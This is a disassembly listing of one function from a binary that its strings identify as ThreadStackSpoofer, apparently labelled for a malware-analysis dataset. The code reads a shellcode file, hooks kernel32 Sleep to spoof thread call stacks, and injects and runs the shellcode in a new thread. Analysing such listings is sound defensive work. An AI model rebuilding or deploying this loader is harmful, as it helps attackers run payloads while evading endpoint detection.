Function at 0x140001290
Capabilities:
Create thread
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rdx
cmp ecx, 3
jge 0x1400012d9
lea rcx, str.Usage:_ThreadStackSpoofer.exe__shellcode___spoof_
call fcn.140002390
jmp 0x140001689
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
xor esi, esi
mov edi, esi
mov qword [rbp - 0x10], rsi
mov rdx, qword [rdx + 0x10]
mov ecx, esi
lea r8, str.true
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140001319
cmp rcx, 5
jne 0x140001300
mov r15b, 1
jmp 0x14000132c
cmp byte [rdx], 0x31
jne 0x140001329
cmp byte [rdx + 1], 0
jne 0x140001329
mov r15b, 1
jmp 0x14000132c
xor r15b, r15b
lea rcx, str._.__Reading_shellcode_bytes...
call fcn.140002390
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
mov rcx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x14000138e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rbx, qword [rbp - 0x20]
jmp 0x1400013ee
mov dword [rbp - 0x3c], esi
lea rdx, [rbp - 0x28]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov byte [rbp - 0x40], 0
mov edx, eax
test eax, eax
je 0x1400013bb
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140002ab0
mov rdi, qword [rbp - 0x10]
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x3c]
mov r8d, ebx
mov rbx, qword [rbp - 0x20]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r12d, eax
test r14, r14
je 0x1400013e9
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test r12d, r12d
jne 0x140001407
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_open_shellcode_file__Error:
call fcn.140002580
jmp 0x14000164e
test r15b, r15b
je 0x140001510
lea rcx, str._.__Hooking_kernel32_Sleep...
call fcn.140002390
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x140007988], rax
mov word [rbp - 0x38], 0xba49
mov word [rbp - 0x2e], 0xff41
lea rax, [0x140001200]
mov qword [rbp - 0x36], rax
mov dword [rbp - 0x3c], esi
xor r15b, r15b
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [rax]
movups xmmword [0x140007990], xmm0
lea r9, [rbp - 0x3c]
mov edx, 0xd
lea r8d, [rdx + 0x33]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000148f
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [rbp - 0x38]
movsd qword [rcx], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov r15b, 1
mov r14, qword [0x1400079a0]
test r14, r14
jne 0x1400014c7
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov qword [0x1400079a0], rax
test rax, rax
je 0x1400014e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, 0xd
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
call r14
lea r9, [rbp - 0x3c]
mov r8d, dword [rbp - 0x3c]
mov edx, 0xd
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test r15b, r15b
jne 0x14000151c
lea rcx, str.____Could_not_hook_kernel32_Sleep_
call fcn.140002390
jmp 0x14000164e
lea rcx, str._.__Thread_call_stack_will_NOT_be_spoofed.
call fcn.140002390
lea rcx, str._.__Injecting_shellcode...
call fcn.140002390
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rsi
mov r14, qword [rbp - 0x18]
mov r13, r14
sub r13, rbx
mov r9d, 4
mov r8d, 0x1000
lea rdx, [r13 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
je 0x14000162a
mov r8, r13
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rbp - 0x28]
mov r8d, 0x20
lea rdx, [r13 + 1]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000162a
cmp rbx, r14
cmovne r14, rbx
mov qword [rbp - 0x18], r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, r15
lea r8, [0x140001280]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
mov qword [rbp - 0x30], rax
test rax, rax
je 0x14000162a
lea rcx, str.___Shellcode_is_now_running.
call fcn.140002390
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rbx, rbx
je 0x140001626
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14000161b
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001677
mov rdx, rdi
mov rcx, rbx
call fcn.140002fcc
xor eax, eax
jmp 0x14000168e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_inject_shellcode__Error:
call fcn.140002580
nop
test rsi, rsi
je 0x14000164e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rbx, rbx
je 0x140001689
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14000167e
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000167e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.140002fcc
mov eax, 1
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140002f70
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret